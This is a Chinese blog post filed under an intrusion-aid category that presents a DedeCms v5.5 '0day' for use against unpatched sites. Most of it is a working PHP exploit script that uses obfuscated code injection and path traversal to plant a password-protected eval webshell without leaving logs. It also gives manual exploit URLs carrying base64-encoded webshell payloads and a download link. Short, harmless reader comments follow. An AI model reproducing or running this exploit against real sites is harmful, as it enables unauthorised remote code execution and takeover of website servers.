新买的VPS,探针地址
国外免费VPN——ipjetable
国外免费VPN——ProXPN
国外免费VPN——vpnreactor
国外免费VPN——IPv6

现在的位置: 首页入侵辅助>正文

DedeCms v5.5 0day
发表于:2010年03月08日  分类:入侵辅助  9 条评论  1873 views 

官方暂时没出补丁,不过我估计快了
执行成功会在在data/cache下生成t.PHP一句话小马
密码t,官方最新GBK和utf-8版本存在此漏洞,
exp的特点是生成t.PHP得时候不留日志

<?PHP
print_r(‘
+—————————————-+
dedecms v5.5 final getwebshell exploit
+—————————————-+
‘);
if ($argc < 3) {
print_r(‘
+—————————————-+
Usage: php ‘.$argv[0].’ host path
host:      target server (ip/hostname)
path:      path to dedecms
Example:
php ‘.$argv[0].’ localhost /dedecms/
+—————————————-+
‘);
exit;
}
error_reporting(7);
ini_set(‘max_execution_time’, 0);$host = $argv[1];
$path = $argv[2];

$post_a = ‘plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*’;
$post_b = ‘needCode=aa/../../../data/mysql_error_trace’;
$shell = ‘data/cache/t.php’;

get_send($post_a);
post_send(‘plus/comments_frame.php’,$post_b);
$content = post_send($shell,’t=echo tojen;’);

if(substr($content,9,3)==’200′){
echo “\nShell Address is:”.$host.$path.$shell;
}else{
echo “\nError.”;
}
function get_send($url){
global $host, $path;
$message = “GET “.$path.”$url  HTTP/1.1\r\n”;
$message .= “Accept: */*\r\n”;
$message .= “Referer: http://$host$path\r\n”;
$message .= “Accept-Language: zh-cn\r\n”;
$message .= “Content-Type: application/x-www-form-urlencoded\r\n”;
$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n”;
$message .= “Host: $host\r\n”;
$message .= “Connection: Close\r\n\r\n”;
$fp = fsockopen($host, 80);
if(!$fp){
echo “\nConnect to host Error”;
}
fputs($fp, $message);

$back = ”;

while (!feof($fp))
$back .= fread($fp, 1024);
fclose($fp);
return $back;

}
function post_send($url,$cmd){

global $host, $path;
$message = “POST “.$path.”$url  HTTP/1.1\r\n”;
$message .= “Accept: */*\r\n”;
$message .= “Referer: http://$host$path\r\n”;
$message .= “Accept-Language: zh-cn\r\n”;
$message .= “Content-Type: application/x-www-form-urlencoded\r\n”;
$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n”;
$message .= “Host: $host\r\n”;
$message .= “Content-Length: “.strlen($cmd).”\r\n”;
$message .= “Connection: Close\r\n\r\n”;
$message .= $cmd;
$fp = fsockopen($host, 80);
if(!$fp){
echo “\nConnect to host Error”;
}
fputs($fp, $message);

$back = ”;

while (!feof($fp))
$back .= fread($fp, 1024);
fclose($fp);
return $back;
}
?>

利用方法

http://xxx.com//uploads/plus/digg_frame.php?action=good&id=1024%651024&mid=*/fputs(fopen(base64_decode(ZGF0YS9jYWNoZS9jLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4));?>

http://yyy.com/uploads/plus/comments_frame.php?id=2&needCode=/../../../data/mysql_error_trace
在data/cache下生成c.php
Exp下载地址:千脑下载

相关日志缩略图

DedeCms v5.5 0day:目前有9 条留言

  1. 卢松松 说:

    学的挺多 挺杂的啊

  2. 蓝色光标 说:

    这模板看着太眼熟了。就是想不起来。

  3. Firm 说:

    DedeCms 正在学。学习了

  4. 疾风 说:

    DEDECMS 很适合做门户~

  5. 逅客北极 说:

    逅客暂时还没接触过,纯围观下。

  6. 球磨机 说:

    php的 一见头都懵了

  7. 鲍捷 说:

    下回有啥新的及时通知一下哈,呵呵

  8. 记忆盒子 说:

    正在学用dedecms…

给我留言

快捷键(Shortcuts):Ctrl+Enter(Must Be Chinese!)